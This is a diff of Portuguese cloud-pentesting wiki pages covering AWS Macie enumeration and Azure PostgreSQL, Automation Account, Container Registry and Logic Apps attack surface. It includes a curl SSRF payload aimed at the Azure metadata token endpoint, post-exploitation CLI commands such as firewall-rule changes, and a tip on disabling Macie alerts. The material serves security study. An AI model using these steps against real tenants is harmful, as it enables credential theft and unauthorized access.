- [Criar um token de acesso de instalação para um aplicativo](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

144
src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md
View File

@@ -1,12 +1,74 @@
# Amazon Macie
## Introdução
{{#include ../../../banners/hacktricks-training.md}}
Amazon Macie é um serviço de segurança de dados que descobre dados sensíveis usando aprendizado de máquina e correspondência de padrões, fornece visibilidade sobre riscos de segurança de dados e permite proteção automatizada contra esses riscos.
## Macie
Amazon Macie se destaca como um serviço projetado para **detectar, classificar e identificar dados** automaticamente dentro de uma conta AWS. Ele utiliza **aprendizado de máquina** para monitorar e analisar continuamente os dados, focando principalmente na detecção e alerta contra atividades incomuns ou suspeitas, examinando os dados de **eventos de trilha na nuvem** e padrões de comportamento do usuário.
Principais Recursos do Amazon Macie:
1. **Revisão Ativa de Dados**: Emprega aprendizado de máquina para revisar dados ativamente à medida que várias ações ocorrem dentro da conta AWS.
2. **Detecção de Anomalias**: Identifica atividades irregulares ou padrões de acesso, gerando alertas para mitigar riscos potenciais de exposição de dados.
3. **Monitoramento Contínuo**: Monitora e detecta automaticamente novos dados no Amazon S3, utilizando aprendizado de máquina e inteligência artificial para se adaptar aos padrões de acesso aos dados ao longo do tempo.
4. **Classificação de Dados com NLP**: Utiliza processamento de linguagem natural (NLP) para classificar e interpretar diferentes tipos de dados, atribuindo pontuações de risco para priorizar descobertas.
5. **Monitoramento de Segurança**: Identifica dados sensíveis à segurança, incluindo chaves de API, chaves secretas e informações pessoais, ajudando a prevenir vazamentos de dados.
Amazon Macie é um **serviço regional** e requer a função IAM 'AWSMacieServiceCustomerSetupRole' e um AWS CloudTrail habilitado para funcionalidade.
### Sistema de Alertas
Macie categoriza alertas em categorias predefinidas como:
- Acesso anonimizado
- Conformidade de dados
- Perda de credenciais
- Escalação de privilégios
- Ransomware
- Acesso suspeito, etc.
Esses alertas fornecem descrições detalhadas e desagregações de resultados para uma resposta e resolução eficazes.
### Recursos do Painel
O painel categoriza dados em várias seções, incluindo:
- Objetos S3 (por intervalo de tempo, ACL, PII)
- Eventos/usuários do CloudTrail de alto risco
- Locais de Atividade
- Tipos de identidade de usuário do CloudTrail, e mais.
### Classificação de Usuários
Os usuários são classificados em níveis com base no nível de risco de suas chamadas de API:
- **Platinum**: Chamadas de API de alto risco, frequentemente com privilégios de administrador.
- **Gold**: Chamadas de API relacionadas à infraestrutura.
- **Silver**: Chamadas de API de risco médio.
- **Bronze**: Chamadas de API de baixo risco.
### Tipos de Identidade
Os tipos de identidade incluem Root, usuário IAM, Função Assumida, Usuário Federado, Conta AWS e Serviço AWS, indicando a origem das solicitações.
### Classificação de Dados
A classificação de dados abrange:
- Tipo de Conteúdo: Com base no tipo de conteúdo detectado.
- Extensão de Arquivo: Com base na extensão do arquivo.
- Tema: Classificado por palavras-chave dentro dos arquivos.
- Regex: Classificado com base em padrões regex específicos.
O maior risco entre essas categorias determina o nível final de risco do arquivo.
### Pesquisa e Análise
A função de pesquisa do Amazon Macie permite consultas personalizadas em todos os dados do Macie para análise aprofundada. Os filtros incluem Dados do CloudTrail, propriedades do Bucket S3 e Objetos S3. Além disso, suporta convidar outras contas para compartilhar o Amazon Macie, facilitando a gestão colaborativa de dados e monitoramento de segurança.
## Listando Descobertas com o Console AWS
Após escanear um bucket S3 específico em busca de segredos e dados sensíveis, descobertas serão geradas e exibidas no console. Usuários autorizados com permissões suficientes podem visualizar e listar essas descobertas para cada trabalho.
Após escanear um bucket S3 específico em busca de segredos e dados sensíveis, as descobertas serão geradas e exibidas no console. Usuários autorizados com permissões suficientes podem visualizar e listar essas descobertas para cada trabalho.
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
@@ -19,30 +81,62 @@ Amazon Macie fornece um recurso que exibe segredos detectados em formato de text
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
## Enumeração
### Enumeração
```bash
# List and describe classification jobs
aws macie2 list-classification-jobs --region eu-west-1
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
# Get buckets
aws macie2 describe-buckets
# Org config
aws macie2 describe-organization-configuration
# Get admin account (if any)
aws macie2 get-administrator-account
aws macie2 list-organization-admin-accounts # Run from the management account of the org
# Get macie account members (run this from the admin account)
aws macie2 list-members
# Check if automated sensitive data discovey is enabled
aws macie2 get-automated-discovery-configuration
# Get findings
aws macie2 list-findings
aws macie2 get-findings --finding-ids <ids>
aws macie2 list-findings-filters
aws macie2 get -findings-filters --id <id>
# Get allow lists
aws macie2 list-allow-lists
aws macie2 get-allow-list --id <id>
# Get different info
aws macie2 list-classification-jobs
aws macie2 describe-classification-job --job-id <Job_ID>
aws macie2 list-classification-scopes
aws macie2 list-custom-data-identifiers
aws macie2 get-custom-data-identifier --id <Identifier_ID>
# Retrieve account details and statistics
aws macie2 get-macie-session --region eu-west-1
aws macie2 get-usage-statistics --region eu-west-1
# List and manage Macie members (for organizations)
aws macie2 list-members --region eu-west-1
# List findings and get detailed information about specific findings
aws macie2 list-findings --region eu-west-1
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
# Manage custom data identifiers
aws macie2 list-custom-data-identifiers --region eu-west-1
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
# List and detail findings filters
aws macie2 list-findings-filters --region eu-west-1
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
aws macie2 get-macie-session
aws macie2 get-usage-statistic
```
### Privesc
{{#ref}}
../aws-privilege-escalation/aws-macie-privesc.md
{{#endref}}
### Post Exploitation
> [!TIP]
> Do ponto de vista de um atacante, este serviço não é feito para detectar o atacante, mas para detectar informações sensíveis nos arquivos armazenados. Portanto, este serviço pode **ajudar um atacante a encontrar informações sensíveis** dentro dos buckets.\
> No entanto, talvez um atacante também possa estar interessado em interrompê-lo para evitar que a vítima receba alertas e roube essas informações mais facilmente.
TODO: PRs são bem-vindos!
## References
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
{{#include ../../../banners/hacktricks-training.md}}

27
src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
View File

@@ -1,32 +1,33 @@
# Az - PostgreSQL Pós-Exploração
# Az - PostgreSQL Pós Exploração
{{#include ../../../banners/hacktricks-training.md}}
## Pós-Exploração do Banco de Dados PostgreSQL
## Pós Exploração do Banco de Dados PostgreSQL
Para mais informações sobre o Banco de Dados PostgreSQL, consulte:
{{#ref}}
../az-services/az-postgresql.md
{{#endref}}
### Use a extensão pg_azure_storage para acessar contas de Armazenamento
É possível usar a extensão **`pg_azure_storage` para acessar contas de Armazenamento do Azure** a partir de um servidor PostgreSQL. Isso usará as permissões da identidade gerenciada atribuída ao servidor para acessar a conta de armazenamento.
Para mais informações, consulte esta técnica explicada na seção de escalonamento de privilégios:
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Com esta permissão, você pode criar novos bancos de dados dentro de uma instância do Postgres Flexible Server no Azure. Embora esta ação em si não modifique recursos existentes, a criação excessiva ou não autorizada de bancos de dados pode levar ao consumo de recursos ou ao potencial uso indevido do servidor.
Com esta permissão, você pode criar novos bancos de dados dentro de uma instância do Postgres Flexible Server no Azure. Embora essa ação em si não modifique recursos existentes, a criação excessiva ou não autorizada de bancos de dados pode levar ao consumo de recursos ou ao potencial uso indevido do servidor.
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
Com esta permissão, você pode iniciar a criação de backups para uma instância do Postgres Flexible Server no Azure. Isso permite que os usuários gerem backups sob demanda, o que pode ser útil para preservar dados em pontos específicos no tempo.
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
Com esta permissão, você pode configurar ou atualizar as configurações de Proteção Avançada contra Ameaças (ATP) para uma instância do Postgres Flexible Server no Azure. Isso permite habilitar ou desabilitar recursos de segurança projetados para detectar e responder a atividades anômalas e potenciais ameaças.
@@ -38,7 +39,7 @@ az postgres flexible-server threat-protection-policy update \
```
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
Com esta permissão, você pode criar ou modificar regras de firewall para uma instância do Postgres Flexible Server no Azure. Isso permite o controle sobre quais endereços IP ou faixas podem acessar o servidor. O uso não autorizado ou inadequado dessa permissão pode expor o servidor a acessos indesejados ou maliciosos.
Com esta permissão, você pode criar ou modificar regras de firewall para uma instância do Postgres Flexible Server no Azure. Isso permite o controle sobre quais endereços IP ou intervalos podem acessar o servidor. O uso não autorizado ou inadequado dessa permissão pode expor o servidor a acessos indesejados ou maliciosos.
```bash
# Create Rule
az postgres flexible-server firewall-rule create \

22
src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md
View File

@@ -8,7 +8,7 @@ As Contas de Automação do Azure são serviços baseados em nuvem na Microsoft
### Configurações
- **Credenciais**: A senha é acessível apenas dentro de um runbook na conta de automação, sendo usada para **armazenar nomes de usuário e senhas de forma segura**.
- **Credenciais**: A senha é acessível apenas dentro de um runbook dentro da conta de automação, sendo usada para **armazenar nomes de usuário e senhas de forma segura**.
- **Variáveis**: Usadas para armazenar **dados de configuração** que podem ser utilizados em runbooks. Isso também pode incluir informações sensíveis, como chaves de API. Se a variável estiver **armazenada criptografada**, ela estará disponível apenas dentro de um runbook na conta de automação.
- **Certificados**: Usados para armazenar **certificados** que podem ser utilizados em runbooks.
- **Conexões**: Usadas para armazenar **informações de conexão** com serviços externos. Isso pode conter **informações sensíveis**.
@@ -16,7 +16,7 @@ As Contas de Automação do Azure são serviços baseados em nuvem na Microsoft
### Runbooks & Trabalhos
Um Runbook na Automação do Azure é um **script que executa tarefas automaticamente** dentro do seu ambiente em nuvem. Os runbooks podem ser escritos em PowerShell, Python ou editores gráficos. Eles ajudam a automatizar tarefas administrativas como gerenciamento de VM, aplicação de patches ou verificações de conformidade.
Um Runbook na Automação do Azure é um **script que executa tarefas automaticamente** dentro do seu ambiente de nuvem. Os runbooks podem ser escritos em PowerShell, Python ou editores gráficos. Eles ajudam a automatizar tarefas administrativas como gerenciamento de VM, aplicação de patches ou verificações de conformidade.
No **código** localizado dentro dos **Runbooks** pode conter **informações sensíveis** (como credenciais).
@@ -32,15 +32,15 @@ Um trabalho contém a **saída** da execução do **Runbook**. Se você puder **
Existem 3 maneiras principais de executar um Runbook:
- **Agendas**: Usadas para **disparar** Runbooks em um **horário específico** ou **intervalo**.
- **Webhooks**: São **endpoints HTTP** que podem ser usados para **disparar** Runbooks a partir de **serviços externos**. Observe que a URL do webhook **não é visível** após a criação.
- **Disparo Manual**: Você pode **disparar manualmente** um Runbook a partir do Portal do Azure e do CLI.
- **Agendas**: Estas são usadas para **disparar** Runbooks em um **horário específico** ou **intervalo**.
- **Webhooks**: Estes são **endpoints HTTP** que podem ser usados para **disparar** Runbooks a partir de **serviços externos**. Observe que a URL do webhook **não é visível** após a criação.
- **Disparo Manual**: Você pode **disparar manualmente** um Runbook a partir do Portal do Azure e do cli.
### Controle de Versão
Permite importar Runbooks do **Github, Azure Devops (Git) e Azure Devops (TFVC)**. É possível indicar que os Runbooks do repositório sejam publicados na conta de Automação do Azure e também é possível indicar para **sincronizar as alterações do repositório** com a conta de Automação do Azure.
Quando a sincronização está habilitada, um **webhook é criado no repositório do Github** para disparar a sincronização sempre que um evento de push ocorre. Exemplo de uma URL de webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Quando a sincronização está habilitada, no **repositório do Github um webhook é criado** para disparar a sincronização toda vez que um evento de push ocorre. Exemplo de uma URL de webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Observe que esses webhooks **não serão visíveis** ao listar webhooks nos runbooks associados ao repositório do Github. Também observe que **não é possível alterar a URL do repositório** de um controle de versão uma vez que ele é criado.
@@ -61,7 +61,7 @@ No entanto, também é possível **criar seus próprios ambientes**, usando um d
### Grupos de Trabalhadores Híbridos
Na Automação do Azure, o ambiente de execução padrão para runbooks é o **Azure Sandbox**, uma plataforma baseada em nuvem gerenciada pelo Azure, adequada para tarefas envolvendo recursos do Azure. No entanto, esse sandbox tem limitações, como acesso restrito a recursos locais e restrições de tempo de execução e uso de recursos. Para superar essas limitações, são empregados Grupos de Trabalhadores Híbridos. Um Grupo de Trabalhadores Híbridos consiste em **um ou mais Trabalhadores de Runbook Híbridos instalados em suas próprias máquinas**, seja em locais, em outros ambientes de nuvem ou VMs do Azure. Essa configuração permite que runbooks sejam executados diretamente nessas máquinas, proporcionando acesso direto a recursos locais, a capacidade de executar tarefas mais longas e intensivas em recursos, e a flexibilidade de interagir com ambientes além do alcance imediato do Azure.
Na Automação do Azure, o ambiente de execução padrão para runbooks é o **Azure Sandbox**, uma plataforma baseada em nuvem gerenciada pelo Azure, adequada para tarefas envolvendo recursos do Azure. No entanto, esse sandbox tem limitações, como acesso restrito a recursos locais e restrições de tempo de execução e uso de recursos. Para superar essas limitações, são empregados Grupos de Trabalhadores Híbridos. Um Grupo de Trabalhadores Híbridos consiste em **um ou mais Trabalhadores de Runbook Híbridos instalados em suas próprias máquinas**, seja em locais, em outros ambientes de nuvem ou VMs do Azure. Essa configuração permite que os runbooks sejam executados diretamente nessas máquinas, proporcionando acesso direto a recursos locais, a capacidade de executar tarefas mais longas e intensivas em recursos, e a flexibilidade de interagir com ambientes além do alcance imediato do Azure.
Quando um grupo de trabalhadores híbridos é criado, é necessário indicar as **credenciais** a serem usadas. Existem 2 opções:
@@ -78,7 +78,7 @@ Além disso, se o trabalhador híbrido estiver sendo executado no Azure com outr
### Configuração de Estado (SC)
> [!WARNING]
> Conforme indicado na [documentação](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), a Configuração de Estado do Azure Automation será descontinuada em 30 de setembro de 2027 e substituída pela [Configuração de Máquina do Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Como indicado na [documentação](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), a Configuração de Estado do Azure Automation será descontinuada em 30 de setembro de 2027 e substituída pela [Configuração de Máquina do Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
As Contas de Automação também suportam **Configuração de Estado (SC)**, que é um recurso que ajuda a **configurar** e **manter** o **estado** de suas VMs. É possível **criar** e **aplicar** configurações DSC em máquinas **Windows** e **Linux**.
@@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Persistência
{{#ref}}
../az-persistence/az-automation-accounts-persistence.md
{{#endref}}
## Referências
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)

22
src/pentesting-cloud/azure-security/az-services/az-container-registry.md
View File

@@ -4,7 +4,7 @@
## Informações Básicas
Azure Container Registry (ACR) é um registro privado e seguro que permite **armazenar, gerenciar e acessar imagens de contêiner na nuvem Azure**. Ele se integra perfeitamente com vários serviços Azure, fornecendo fluxos de trabalho automatizados de construção e implantação em grande escala. Com recursos como geo-replicação e verificação de vulnerabilidades, o ACR ajuda a garantir segurança e conformidade de nível empresarial para aplicativos conteinerizados.
Azure Container Registry (ACR) é um registro privado e seguro que permite **armazenar, gerenciar e acessar imagens de contêiner na nuvem Azure**. Ele se integra perfeitamente com vários serviços Azure, fornecendo fluxos de trabalho automatizados de construção e implantação em grande escala. Com recursos como geo-replicação e verificação de vulnerabilidades, o ACR ajuda a garantir segurança e conformidade de nível empresarial para aplicações conteinerizadas.
### Permissões
@@ -27,11 +27,11 @@ Existem também alguns **papéis integrados** que podem ser atribuídos, e tamb
> [!WARNING]
> É muito importante que, mesmo que o nome do registro contenha algumas letras maiúsculas, você sempre deve usar **letras minúsculas** para fazer login, enviar e puxar imagens.
Existem 4 maneiras de autenticar-se em um ACR:
Existem 4 maneiras de se autenticar em um ACR:
- **Com Entra ID**: Esta é a **maneira padrão** de autenticar-se em um ACR. Ele usa o comando **`az acr login`** para autenticar-se no ACR. Este comando irá **armazenar as credenciais** no arquivo **`~/.docker/config.json`**. Além disso, se você estiver executando este comando de um ambiente sem acesso a um socket docker, como em um **cloud shell**, é possível usar a flag **`--expose-token`** para obter o **token** para autenticar-se no ACR. Então, para autenticar, você precisa usar como nome de usuário `00000000-0000-0000-0000-000000000000`, como: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Com Entra ID**: Esta é a **forma padrão** de autenticar-se em um ACR. Ele usa o comando **`az acr login`** para autenticar-se no ACR. Este comando irá **armazenar as credenciais** no arquivo **`~/.docker/config.json`**. Além disso, se você estiver executando este comando de um ambiente sem acesso a um socket docker, como em um **cloud shell**, é possível usar a flag **`--expose-token`** para obter o **token** para autenticar-se no ACR. Então, para autenticar, você precisa usar como nome de usuário `00000000-0000-0000-0000-000000000000`, como: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Com uma conta de administrador**: O usuário administrador está desativado por padrão, mas pode ser ativado e então será possível acessar o registro com o **nome de usuário** e **senha** da conta de administrador com permissões totais para o registro. Isso ainda é suportado porque alguns serviços Azure o utilizam. Note que **2 senhas** são criadas para este usuário e ambas são válidas. Você pode ativá-lo com `az acr update -n <acrName> --admin-enabled true`. Note que o nome de usuário geralmente é o nome do registro (e não `admin`).
- **Com um token**: É possível criar um **token** com um **`scope map`** específico (permissões) para acessar o registro. Então, é possível usar este nome de token como nome de usuário e algumas das senhas geradas para autenticar-se no registro com `docker login -u <registry-name> -p <password> aregistry-url>`
- **Com um token**: É possível criar um **token** com um **`scope map`** específico (permissões) para acessar o registro. Então, é possível usar o nome do token como nome de usuário e qualquer uma das senhas geradas para autenticar-se no registro com `docker login -u <registry-name> -p <password> <registry-url>`
- **Com um Service Principal**: É possível criar um **service principal** e atribuir um papel como **`AcrPull`** para puxar imagens. Então, será possível **fazer login no registro** usando o appId do SP como nome de usuário e um segredo gerado como senha.
Exemplo de script da [documentação](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) para gerar um SP com acesso a um registro:
@@ -51,11 +51,11 @@ echo "Service principal password: $PASSWORD"
```
### Criptografia
Apenas o **Premium SKU** suporta **criptografia em repouso** para as imagens e outros artefatos.
Apenas o **SKU Premium** suporta **criptografia em repouso** para as imagens e outros artefatos.
### Rede
Apenas o **Premium SKU** suporta **pontos de extremidade privados**. Os outros suportam apenas **acesso público**. Um ponto de extremidade público tem o formato `<registry-name>.azurecr.io` e um ponto de extremidade privado tem o formato `<registry-name>.privatelink.azurecr.io`. Por essa razão, o nome do registro deve ser único em toda a Azure.
Apenas o **SKU Premium** suporta **pontos de extremidade privados**. Os outros suportam apenas **acesso público**. Um ponto de extremidade público tem o formato `<registry-name>.azurecr.io` e um ponto de extremidade privado tem o formato `<registry-name>.privatelink.azurecr.io`. Por essa razão, o nome do registro deve ser único em toda a Azure.
### Microsoft Defender for Cloud
@@ -143,10 +143,16 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Escalação de Privilégios & Pós-Exploração
## Acesso Não Autenticado
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Escalação de Privilégios & Pós Exploração
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Referências

230
src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
View File

@@ -4,99 +4,175 @@
## Informações Básicas
Azure Logic Apps é um serviço baseado em nuvem fornecido pela Microsoft Azure que permite aos desenvolvedores **criar e executar fluxos de trabalho que integram vários serviços**, fontes de dados e aplicações. Esses fluxos de trabalho são projetados para **automatizar processos de negócios**, orquestrar tarefas e realizar integrações de dados entre diferentes plataformas.
Azure Logic Apps permite que os desenvolvedores **criem e executem fluxos de trabalho que integram vários serviços**, fontes de dados e aplicações. Esses fluxos de trabalho são projetados para **automatizar processos de negócios**, orquestrar tarefas e realizar integrações de dados em diferentes plataformas.
Logic Apps fornece um designer visual para criar fluxos de trabalho com uma **ampla gama de conectores pré-construídos**, o que facilita a conexão e interação com vários serviços, como Office 365, Dynamics CRM, Salesforce e muitos outros. Você também pode criar conectores personalizados para suas necessidades específicas.
Logic Apps fornece um **designer visual** para criar fluxos de trabalho com uma **ampla gama de conectores pré-construídos**, o que facilita a conexão e interação com vários serviços:
Ao criar um Logic App, você deve criar ou vincular uma conta de armazenamento externa que armazena o estado do fluxo de trabalho, o histórico de execução e os artefatos. Esse armazenamento pode ser configurado com configurações de diagnóstico para monitoramento e pode ser protegido com restrições de acesso à rede ou integrado a uma rede virtual para controlar o tráfego de entrada e saída.
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
### Exemplos
- **Automatizando Pipelines de Dados**: Logic Apps pode automatizar **processos de transferência e transformação de dados** em combinação com o Azure Data Factory. Isso é útil para criar pipelines de dados escaláveis e confiáveis que movem e transformam dados entre várias fontes de dados, como Azure SQL Database e Azure Blob Storage, auxiliando em operações de análise e inteligência de negócios.
- **Integrando com Azure Functions**: Logic Apps pode trabalhar ao lado do Azure Functions para desenvolver **aplicações sofisticadas e orientadas a eventos que escalam conforme necessário** e se integram perfeitamente com outros serviços do Azure. Um exemplo de caso de uso é usar um Logic App para acionar uma Azure Function em resposta a certos eventos, como mudanças em uma conta de armazenamento do Azure, permitindo o processamento dinâmico de dados.
### Visualizar um LogicAPP
É possível visualizar um LogicApp com gráficos:
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
ou verificar o código na seção "**Visualização do código do Logic app**".
### Proteção SSRF
Mesmo que você encontre o **Logic App vulnerável a SSRF**, você não conseguirá acessar as credenciais da metadata, pois Logic Apps não permite isso.
Por exemplo, algo como isso não retornará o token:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Opções de hospedagem
### Opções de Hospedagem
Existem várias opções de hospedagem:
* **Consumo**
- **Multi-tenant**: fornece recursos de computação compartilhados, opera na nuvem pública e segue um modelo de preços pay-per-operation. Isso é ideal para cargas de trabalho leves e econômicas. Isso implanta um "Single Workflow".
- **Multi-tenant**: Isso fornece recursos de computação compartilhados, opera na nuvem pública e segue um modelo de preços por operação. Isso é ideal para cargas de trabalho leves e econômicas. Isso é o que chamaremos de "Fluxo de Trabalho Único".
* **Padrão**
- **Workflow Service Plan**: recursos de computação dedicados com integração VNET para rede e cobra por instância do plano de serviço de fluxo de trabalho. É adequado para cargas de trabalho mais exigentes que requerem maior controle.
- **App Service Environment V3** recursos de computação dedicados com total isolamento e escalabilidade. Também se integra com VNET para rede e utiliza um modelo de preços baseado em instâncias de App Service dentro do ambiente.
- **Híbrido** projetado para processamento local e suporte multi-nuvem. Permite recursos de computação gerenciados pelo cliente com acesso à rede local e utiliza Kubernetes Event-Driven Autoscaling (KEDA). Baseia-se em um Container App Connected Environment.
- **Plano de Serviço de Fluxo de Trabalho**: Isso fornece recursos de computação dedicados com integração VNET para rede e cobra por instância do plano de serviço de fluxo de trabalho. É adequado para cargas de trabalho mais exigentes que requerem maior controle.
- **Ambiente de Serviço de Aplicativo V3:** Isso fornece recursos de computação dedicados com total isolamento e escalabilidade. Também se integra com VNET para rede e utiliza um modelo de preços baseado em instâncias de Serviço de Aplicativo dentro do ambiente.
- **Híbrido:** Isso é projetado para processamento local e suporte multi-nuvem. Permite recursos de computação gerenciados pelo cliente com acesso à rede local e utiliza Kubernetes Event-Driven Autoscaling (KEDA). Baseia-se em um Ambiente Conectado de Aplicativo de Contêiner.
### Principais Recursos
- **Armazenamento**: Logic Apps requer uma conta de Armazenamento Azure externa para armazenar o estado do fluxo de trabalho, histórico de execução… e deve estar no mesmo grupo de recursos que o Logic App.
- **Rede & Segurança**: Logic Apps podem ser configurados com acesso público ou privado. Por padrão, o aplicativo está aberto para a internet, mas pode ser integrado a uma Rede Virtual Azure para conectividade isolada.
- **Application Insights**: Gerenciamento de Desempenho de Aplicações (APM) através do Azure Monitor Application Insights pode ser habilitado para rastrear desempenho, detectar anomalias e fornecer análises.
- **Controle de Acesso**: Logic apps suportam Identidades Gerenciadas pelo Sistema & Identidades Gerenciadas pelo Usuário.
## Fluxos de Trabalho "Únicos" / Plano de Consumo
### Workflows "Únicos"
Um **fluxo de trabalho** é uma sequência estruturada de etapas ou tarefas automatizadas que executam um processo ou objetivo específico. Ele define como diferentes ações, condições e decisões interagem para alcançar um resultado desejado, otimizando operações e reduzindo o esforço manual.
Um **workflow** é uma sequência estruturada de etapas ou tarefas automatizadas que executam um processo ou objetivo específico. Ele define como diferentes ações, condições e decisões interagem para alcançar um resultado desejado, otimizando operações e reduzindo o esforço manual. Workflows podem integrar múltiplos sistemas, acionar eventos e regras, garantindo consistência e eficiência nos processos.
> [!TIP]
> O plano de Consumo permite **criar um único fluxo de trabalho sem a necessidade de um Logic App** em si.
Azure Logic apps oferece a funcionalidade de **criar um único workflow sem a necessidade de um Logic App** em si.
### Gatilhos & Ações
Cada workflow tem diferentes **gatilhos**. Esses gatilhos são os passos que o workflow segue. Cada gatilho tem seus parâmetros que podem variar dependendo do tipo do gatilho:
- Nome da conexão
- **Tipo de Autenticação** que pode ser, Chave de Acesso, Microsoft Entra ID, autenticação de principal de serviço integrado e Identidade Gerenciada do Logic Apps.
Os gatilhos do fluxo de trabalho indicam **quando o fluxo de trabalho deve começar**. Os gatilhos podem ser um endpoint HTTP, um cronograma ou dezenas de eventos diferentes do Azure ou até mesmo de aplicativos externos.
Os gatilhos também têm várias configurações:
- Validação de Esquema: Garante que os dados recebidos sigam uma estrutura predefinida.
- Controle de Concorrência: Limita o número de execuções paralelas.
- Condições de Gatilho: condições que devem ser atendidas antes que o gatilho seja acionado.
- Rede: Configura o tamanho do bloco para transferência de dados e permite suprimir cabeçalhos de workflow nas respostas.
- **Segurança**: Habilita **Entradas/Saídas Seguras para ocultar** dados sensíveis em logs e nas saídas.
Cada fluxo de trabalho tem diferentes **ações**. Essas ações são os passos que o fluxo de trabalho segue. Dependendo da ação, diferentes parâmetros estarão disponíveis para configurá-la, como:
**Configurações & Conexões de API:**
- **Nome da Conexão**: Conexão a ser usada com a qual a ação interagirá.
- **Tipo de Autenticação:** As diferentes opções são Chave de Acesso, Microsoft Entra ID, autenticação de principal de serviço integrado e Identidade Gerenciada do Logic Apps.
- De uma perspectiva de Somente Leitura, os dados de **Autenticação** são sempre interessantes, pois podem conter informações sensíveis.
- De uma perspectiva de Escrita, os dados de **Autenticação** são sempre interessantes, pois podem permitir o uso das permissões das identidades gerenciadas atribuídas.
- ...
Um workflow tem diferentes configurações, como:
- Endereços IP de entrada permitidos: Esta configuração permite restringir quem pode acionar ou iniciar seu Logic App. As opções são Qualquer IP, Apenas outros Logic Apps e Faixas de IP específicas.
- Conta de integração: Aqui, você pode vincular seu Logic App a uma Conta de Integração.
- Alta capacidade: Esta configuração permite que seu Logic App lide com mais solicitações rapidamente.
- Retenção do histórico de execução: por quanto tempo o histórico das execuções do seu Logic App é mantido.
As ações também têm várias **configurações**, que dependem da própria ação. Algumas das configurações mais comuns são:
Você pode ver as diferentes conexões de API que o workflow possui. Dentro de cada uma dessas conexões, elas têm diferentes propriedades e a possibilidade de editar a conexão de API, onde o tipo de autenticação pode ser alterado.
- **Política de Retentativa**: Configura o número de tentativas e o intervalo entre elas.
- **Tempo Limite**: Define o tempo máximo que a ação pode ser executada antes de expirar.
- **Executar Após**: Especifica as condições que devem ser atendidas antes que a ação seja executada.
- **Validação de Esquema**: Garante que os dados recebidos sigam uma estrutura predefinida.
- **Rede**: Configura como gerenciar diferentes cabeçalhos.
- **Entradas/Saídas Seguras**: Isso ocultará dados de entrada/saída do histórico de execução.
- ...
**Histórico & Versões:**
Tem a opção de acessar o **histórico** das diferentes execuções, mostrando Configurações, Saída, Parâmetros e o Código.
### Políticas de Autorização
Também tem a opção de acessar diferentes **versões** do workflow, onde você pode verificar o código e alterar o workflow atual por uma versão anterior dele.
**Autorização:**
